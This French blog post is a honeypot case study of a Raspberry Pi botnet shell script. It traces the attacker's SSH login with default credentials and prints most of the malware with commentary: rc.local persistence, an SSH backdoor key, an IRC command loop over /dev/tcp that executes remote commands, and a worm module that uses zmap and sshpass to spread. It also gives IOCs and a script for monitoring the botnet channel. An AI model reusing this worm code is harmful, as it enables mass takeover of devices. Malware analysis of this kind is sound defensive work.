Aller au contenu principal

Attraper des hackers avec un honeypot - Cas d'étude n°1

· 12 minutes de lecture
Orkanyx
Orkanyx
Createur de cyberforge

Obtention du sample

Pour ce premier cas d'étude, nous nous baserons sur un sample obtenu par Cowrie. Ce dernier peut dans le dossier d'installation de tpot, puis /data/cowrie/downloads/.

attention

Les samples sont des fichiers malveillants. Manipulez-les avec précaution. Toujours dans une vm sans connexion à internet

info

Ce premier cas d'étude concerne un fichier .sh exécuté par un acteur malveillant permettant d'établir un botnet.

Tout d'abord, nous allons retracer d'ou vient ce sample. Pour cela, nous utilisons la query suivante :

Query KQL pour trouver le log relatif au téléversement du sample
type: Cowrie and "b6ba24ff7f1b3a851fe896136086f39c7d11db7f60223cf87a4fe029469ce776"

On étent le log pour obtenir plus d'informations :

Puis ensuite nous filtrons avec cette ip sur l'ensemble des logs pour avoir une vision d'ensemble :

Query KQL pour trouver l'ensemble des logs relatifs à l'IP de l'attaquant
src_ip : 199.76.38.122

Nous incluons les colonnes "Type", "input" et "message" pour avoir les commandes effectuées :

info

Indice sur ce que pourrait faire le script, on voit que le client SSH qui a initié la connexion vient visiblement d'un "Raspbian".

Raspbian est une distribution Linux basée sur Debian, spécialement conçue pour les Raspberry Pi.

On voit également que le client, après avoir tenté un mot de passe incorrect, a réussi à se connecter avec le couple de login/password "pi:raspberry".

info

Ces derniers sont les identifiants par défaut de Raspbian.

La commande utilisée ici scp -t /tmp/WPvDA7 active le "target" mode, qui indique a scp que les données qui lui seront envoyées sont destinées à être écrites sur le fichier /tmp/WPvDA7.

L'avantage de cette commande, c'est que le fichier est directement écrit sur le système de la victime, sans passer par le shell.

Enfin, l'attaquant essaye d'exécuter le script via la commande cd /tmp && chmod +x WPvDA7pO && bash -c ./WPvDA7pO. Cependant, l'exécution n'aboutit pas, car Cowrie a déja supprimé le fichier, et collecté le sample.

Conclusion
  • L'attaquant utilise probablement une raspberry pi
  • L'attaquant a tenté de se connecter à un serveur ssh avec les identifiants par défaut d'un Raspberry Pi.
  • Il a ensuite tenté de transférer un script sur le serveur, et de l'exécuter.
  • Le script n'a pas pu être exécuté, car Cowrie a supprimé le fichier et collecté le sample.

Analyse du sample

Module de persistance et effacement des malwares concurrents

Extract 1 du sample
#!/bin/bash

MYSELF=realpath $0

if [ "$EUID" -ne 0 ]
then
NEWMYSELF=`mktemp -u 'XXXXXXXX'`
sudo cp $MYSELF /opt/$NEWMYSELF
sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local"
sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local"
sudo sh -c "echo 'exit 0' >> /etc/rc.local"
sleep 1
sudo reboot
else
TMP1=`mktemp`
echo $TMP1 >> $DEBUG

Dans un premier temps, le script initialise une variable MYSELF qui contient le chemin absolu du script.

Ensuite, le script va vérifier si l'utilisateur est root. Si ce n'est pas le cas, il va copier le script dans /opt/ et ajouter une ligne dans /etc/rc.local pour que le script soit exécuté au démarrage. Il établit donc une persistance.

Sinon, il va créer un fichier temporaire, et écrire le chemin de ce fichier dans la variable $DEBUG.

Extract 2 du sample

killall bins.sh
killall minerd
killall node
killall nodejs
killall ktx-armv4l
killall ktx-i586
killall ktx-m68k
killall ktx-mips
killall ktx-mipsel
killall ktx-powerpc
killall ktx-sh4
killall ktx-sparc
killall arm5
killall zmap
killall kaiten
killall perl

Le script va ensuite tuer plusieurs process, tous relevant de malwares "compétiteurs" et autres :

Extract 3 du sample
echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts
rm -rf /root/.bashrc
rm -rf /home/pi/.bashrc

usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi

mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B" >> /root/.ssh/authorized_keys

La première ligne redirige toutes les requêtes vers bins.deutschland-zahlung.eu vers 127.0.0.1, rendant impossible la bonne résolution de cette adresse.

Le nom de domaine bins.deutschlan-zahlung.eu est potentiellement malveillant, et actuelllement ne dispose uniquement d'un service SSH exposé sur internet.

L'hypothèse la plus convaincante est que ce nom de domaine est un botnet concurrent, et que cette ligne permet de bloquer l'accès à ce botnet.

info

Sur https://www.urlvoid.com/, le domaine deutschland-zahlung.eu est détecté par 4 engines comme malveillant. (Fortinet, Avira, Seclookup, CRDF)

Ensuite, le script supprime les fichiers .bashrc de root et de l'utilisateur pi.

info

Le fichier .bashrc est un fichier de configuration qui permet de définir des commandes effectuées à l'ouverture d'un terminal

Ce fichier est souvent utilisé par les malwares pour se persister. La suppression de ce dernier permet d'enlever les moyens de persistances, afin d'être le seul malware à s'exécuter.

Le fait que l'utilisateur pi soit visé permet de confirmer que ce malware cible les Raspberry Pi.

Le script va ensuite modifier le mot de passe de l'utilisateur pi en un hash, rendant impossible la connexion avec le mot de passe raspberry.

Enfin, le script va créer un dossier .ssh dans le répertoire /root/, et y ajouter une clé publique SSH.

Ces 2 opérations servant à garder une backdoor active au sein de la machine infectée.

Extract 4 du sample
echo "nameserver 8.8.8.8" >> /etc/resolv.conf
rm -rf /tmp/ktx*
rm -rf /tmp/cpuminer-multi
rm -rf /var/tmp/kaiten

cat > /tmp/public.pem <<EOFMARKER
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs
glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW
rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF
WRq+Z8HYMvPlgSRA3wIDAQAB
-----END PUBLIC KEY-----
EOFMARKER

Dans un premier temps, le malware va modifier le fichier /etc/resolv.conf pour utiliser le serveur DNS de Google. Cela permet à la fois :

  • De connecter le raspberry PI à internet si ce dernier n'avait pas de Serveur DNS configuré
  • De contourner les éventuels filtrages par DNS pour s'assurer que les requêtes arriveront bien jusqu'au serveur de commande et contrôle

Ensuite, le script va supprimer les fichiers ktx*, cpuminer-multi et kaiten dans le dossier /tmp/ et /var/tmp/. (toujours pour supprimer les malwares concurrents)

Enfin, le script va créer un fichier /tmp/public.pem contenant une clé publique. Nous reviendrons sur cette clé plus tard.

Module de communication avec le serveur de commande et contrôle

Extract 5 du sample
SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
NICK=a${SYS:24}
while [ true ]; do

arr[0]="ix1.undernet.org"
arr[1]="ix2.undernet.org"
arr[2]="Ashburn.Va.Us.UnderNet.org"
arr[3]="Bucharest.RO.EU.Undernet.Org"
arr[4]="Budapest.HU.EU.UnderNet.org"
arr[5]="Chicago.IL.US.Undernet.org"
rand=$[$RANDOM % 6]
svr=${arr[$rand]}

eval 'exec 3<>/dev/tcp/$svr/6667;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi

echo $NICK

eval 'printf "NICK $NICK\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi
eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi

# Main loop
while [ true ]; do
eval "read msg_in <&3;"

if [[ ! "$?" -eq 0 ]] ; then
break
fi

if [[ "$msg_in" =~ "PING" ]] ; then
printf "PONG %s\n" "${msg_in:5}";
eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
break
fi
sleep 1
eval 'printf "JOIN #biret\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
break
fi
elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
privmsg_h=$(echo $msg_in| cut -d':' -f 3)
privmsg_data=$(echo $msg_in| cut -d':' -f 4)
privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)

hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`

if [[ "$sign" == "$hash" ]] ; then
CMD=`echo $privmsg_data | base64 -d -i`
RES=`bash -c "$CMD" | base64 -w 0`
eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
break
fi
fi
fi
done
done
EOFMARKER

Le script va d'abord initialiser 2 variables :

  • SYS : Contient le hash MD5 de la sortie de la commande uname -a
  • NICK : Contient la lettre a suivie des 8 derniers caractères de SYS

Par exemple, si le résultat de la commande uname-a est :

Linux raspberrypi 6.1.0-rpi4-rpi-v8 #1 SMP PREEMPT Debian 1:6.1.63-1+rpt1 (2024-01-18) aarch64 GNU/Linux

Le résultat de NICK sera :

ae4d909

Le but de cela est de générer un pseudo unique pour chaque machine infectée.

Une fois ce pseuso généré, le script va se connecter à un serveur IRC.

Il va choisir un serveur aléatoire parmi une liste de serveurs IRC, et se connecter sur le port 6667. Cette liste se compose de :

  • "ix1.undernet.org"
  • "ix2.undernet.org"
  • "Ashburn.Va.Us.UnderNet.org"
  • "Bucharest.RO.EU.Undernet.Org"
  • "Budapest.HU.EU.UnderNet.org"
  • "Chicago.IL.US.Undernet.org"
info

"undernet.org" est un réseau IRC, qui est un des plus anciens réseaux IRC encore actif.

Globalement, le reste de ce module permet d'exécuter des commandes envoyées par le serveur IRC, et de renvoyer le résultat de ces commandes.

Les messages reçus par le serveur IRC sont de 2 types :

  • PING : Le bot doit répondre PONG pour indiquer qu'il est toujours connecté
  • JOIN : Le bot doit rejoindre un channel IRC (en l'occurence #biret)
  • PRIVMSG : Le bot doit décoder le message, vérifier la signature, exécuter la commande, et renvoyer le résultat
info

La vérification de la signature se fait via la clé publique stockée dans /tmp/public.pem. Cette vérification sert à éviter que n'importe quel bot puisse envoyer des commandes arbitraires au botnet.

L'exécution se fait via la commande bash -c "$CMD", et le résultat est renvoyé au serveur IRC ($CMD étant encodé en base64)

Module d'infection d'autres cibles

apt-get update -y --force-yes
apt-get install zmap sshpass -y --force-yes

while [ true ]; do
FILE=`mktemp`
zmap -p 22 -o $FILE -n 100000
killall ssh scp
for IP in `cat $FILE`
do
sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
done
rm -rf $FILE
sleep 10
done

Ce module va installer zmap et sshpass via apt-get, puis va scanner des adresses IP sur le port 22.

Dans la documentation de zmap, on voit que l'argument -n correspond au nombre de cibles. Si aucune cible n'est précisée, Zmap va scanner l'ensemble des adresses IP disponibles sur internet.

Si le port 22 est détecté comme ouvert, il va tuer toutes les sessions ssh/scp actuelles.

Le malware va alors tester le couple de mots de passes pi/raspberry et pi/raspberryraspberry993311 sur les cibles.

Si une session est ouverte avec succès, le malware va :

  1. Transférer son script dans le dossier /tmp/ de la cible, en utilisant la variable $MYSELF pour obtenir le chemin absolu du script (via scp)
  2. Exécuter le script sur la cible via la commande cd /tmp && chmod +x $NAME && bash -c ./$NAME (via ssh).

IOCS

On peut relever les IOCS suivants :

  • "bins.deutschland-zahlung.eu"
  • "ix1.undernet.org"
  • "ix2.undernet.org"
  • "Ashburn.Va.Us.UnderNet.org"
  • "Bucharest.RO.EU.Undernet.Org"
  • "Budapest.HU.EU.UnderNet.org"
  • "Chicago.IL.US.Undernet.org"
Clé publique récupérée dans le sample
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs
glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW
rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF
WRq+Z8HYMvPlgSRA3wIDAQAB
-----END PUBLIC KEY-----
Clé publique récupérée dans le sample
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B

Infilration du botnet

Il est possible de se connecter aux serveurs IRC mentionnés pour observer le botnet en action. En effet, nous ne pourrons pas émettre de commandes vu que ces dernières ont une vérification de signature avant exécution.

On peut créer un script qui s'inspire du malware, mais qui n'éxécute aucune commande :

Script de monitoring IRC
#!/bin/bash

LOG_FILE="/tmp/irc_monitor.log"

# Génération d'un pseudo unique basé sur le hash du système
SYS_HASH=$(uname -a | md5sum | awk '{print $1}')
NICK="a${SYS_HASH:24:8}"

# Liste des serveurs IRC UnderNet
SERVERS=(
"ix1.undernet.org"
"ix2.undernet.org"
"Ashburn.Va.Us.UnderNet.org"
"Bucharest.RO.EU.Undernet.Org"
"Budapest.HU.EU.UnderNet.org"
"Chicago.IL.US.Undernet.org"
)
SERVER=${SERVERS[$RANDOM % ${#SERVERS[@]}]}

# Port IRC par défaut
PORT=6667
CHANNEL="#biret" # Peut être changé pour un autre canal

# Nettoyage du log au démarrage
echo "[$(date)] Démarrage du logger IRC sur $SERVER:$PORT avec le pseudo $NICK" | tee "$LOG_FILE"

while true; do
# Ouverture de la connexion TCP
exec 3<>/dev/tcp/$SERVER/$PORT
if [[ $? -ne 0 ]]; then
echo "[$(date)] Échec de connexion à $SERVER:$PORT, tentative sur un autre serveur..." | tee -a "$LOG_FILE"
SERVER=${SERVERS[$RANDOM % ${#SERVERS[@]}]}
sleep 5
continue
fi

# Envoi des commandes IRC
echo "NICK $NICK" >&3
echo "USER $NICK 8 * :IRC Hi" >&3

# Attente des messages
while read -r line <&3; do
echo "[$(date)] $line" | tee -a "$LOG_FILE"

if [[ "$line" =~ ^PING ]]; then
PONG_RESPONSE=${line/PING/PONG}
echo "$PONG_RESPONSE" >&3
echo "[$(date)] Envoyé: $PONG_RESPONSE" | tee -a "$LOG_FILE"

# Une fois connecté, rejoindre un canal spécifique
echo "JOIN $CHANNEL" >&3
echo "[$(date)] Rejoint le canal $CHANNEL" | tee -a "$LOG_FILE"
fi
done

echo "[$(date)] Déconnexion, tentative de reconnexion..." | tee -a "$LOG_FILE"
sleep 5
done

Voici le résultat du script :

On constate que le botnet est probablement inactif, puisque ce dernier compte 3 utilisateurs, donc nous même, 1 membre qui a un nom peu commun a-3128547 (donc probablement un logger), et un autre membre qui a un nom généré par le malware aa0027afc.

Ce membre possède l'ip "60.250.214.40", et est référencé sur shodan :

img.png

Ce dernier correspond à un mikrotik, qui par ailleurs n'a plus son port SSH d'exposé. Il n'est donc pas infectable actuellement, mais le malware continue à être exécuté par cette machine.

Il est aussi possible que cette ip soit l'ip "natée", et que la machine infectée soit dans le réseau internet de cette dernière.

Sur un autre serveur IRC, nous trouvons une autre machine (52.180.157.94) :

img.png

Nous avons moins d'informations sur cette dernière, elle n'est pas scannée par shodan ni censys. Un scan nmap revèle que seul le port 80 et 443 sont ouverts, et un who.is montre que cette ip appartient à Microsoft (Azure ?).